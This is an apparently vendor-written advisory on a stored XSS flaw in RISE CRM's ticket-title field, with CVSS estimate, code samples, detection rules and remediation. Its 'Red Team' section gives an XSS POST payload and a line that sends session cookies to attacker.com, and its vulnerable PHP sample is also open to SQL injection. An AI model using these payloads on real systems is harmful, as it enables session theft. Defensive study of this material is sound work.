CVE-2025-41105

Executive Summary

CVE-2025-41105 identifies an HTML injection vulnerability in Fairsketch's RISE CRM Framework version 3.8.1. The flaw resides in the /tickets/save endpoint, where the title parameter is not properly validated, allowing an attacker to inject arbitrary HTML code via a POST request. This can lead to stored cross-site scripting (XSS) attacks, defacement, or phishing within the CRM interface. No official patch has been released as of this analysis.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a direct web application vulnerability in a PHP-based CRM framework. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the nature of the vulnerability (HTML injection leading to stored XSS), a reasonable estimated score would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authenticated user with ticket creation privileges
• User Interaction (UI): Required (R) – victim must view the injected ticket
• Scope (S): Changed (C) – injected HTML can affect other parts of the application
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS:3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authentication but can lead to session hijacking, phishing, or defacement.

Deep Dive & Mechanics

The vulnerability exists in the ticket creation functionality. When a user submits a POST request to /tickets/save with a crafted title parameter, the application fails to sanitize or encode the input before storing it in the database. When the ticket is later viewed by another user (e.g., an admin or support agent), the injected HTML is rendered in the browser, leading to stored XSS.

Root Cause: Lack of proper input validation and output encoding. The application likely uses $_POST['title'] directly without filtering or escaping.

Attack Flow:

1. Attacker authenticates to RISE CRM.
2. Attacker sends a POST request to /tickets/save with title=<script>alert('XSS')</script>.
3. The malicious title is stored in the database.
4. When an admin views the ticket list or detail page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

// Vulnerable: direct assignment without sanitization
$title = $_POST['title'];
$query = "INSERT INTO tickets (title) VALUES ('$title')";
mysqli_query($conn, $query);

Patched Code (PHP):

// Patched: sanitize and escape output
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO tickets (title) VALUES (?)");
$stmt->bind_param("s", $title);
$stmt->execute();

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a RISE CRM v3.8.1 instance with valid credentials.
• Burp Suite or cURL for crafting requests.

Exploit Steps:

1. Log in to RISE CRM.
2. Send a POST request to /tickets/save with the following payload:

POST /tickets/save HTTP/1.1
Host: target-rise-crm.com
Content-Type: application/x-www-form-urlencoded
Cookie: [session_cookie]

title=<img src=x onerror=alert('XSS')>&description=test

3. The injected HTML will be stored and executed when any user views the ticket.

Advanced Payload (Session Hijacking):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

• Monitor POST requests to /tickets/save for unusual title parameters containing HTML tags or JavaScript.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use prepared statements for database queries.

Indicators of Compromise (IOCs)

• Network: POST requests to /tickets/save with title containing <script>, <img onerror>, or similar HTML/JS payloads.
• Logs: Application logs showing title parameter with HTML tags.
• File: No specific file IOCs; the injection is stored in the database.
• Behavior: Unexpected pop-ups, redirects, or cookie theft in the CRM interface.

Detection Engineering

YARA Rule

rule detect_html_injection_rise_crm {
    meta:
        description = "Detects HTML injection attempts in RISE CRM ticket title"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41105"
    strings:
        $html_pattern = /<[^>]+>/  // Matches any HTML tag
        $script_pattern = /<script[^>]*>/i
        $event_pattern = /on\w+\s*=/i
    condition:
        any of ($html_pattern, $script_pattern, $event_pattern)
}

Sigma Rule

title: HTML Injection in RISE CRM Ticket Title
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to /tickets/save with HTML tags in the title parameter
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: "/tickets/save"
        http.body|contains: 
            - "<script"
            - "<img"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in ticket titles (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-41105 HTML Injection in RISE CRM Ticket Title"; flow:to_server; content:"POST"; http_method; content:"/tickets/save"; http_uri; pcre:"/<[^>]+>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ticket creation functionality if not critical.
2. Apply a WAF rule to block HTML tags in the title parameter.
3. Manually sanitize input using htmlspecialchars() or equivalent.

Long-term Fix:

• Upgrade to a patched version once released.
• Implement a strict input validation policy for all user-supplied data.
• Conduct a security audit of the entire application.

Workaround:

• Use a reverse proxy to filter requests to /tickets/save and reject any containing HTML tags.

Valters IT
Securing Digital Frontiers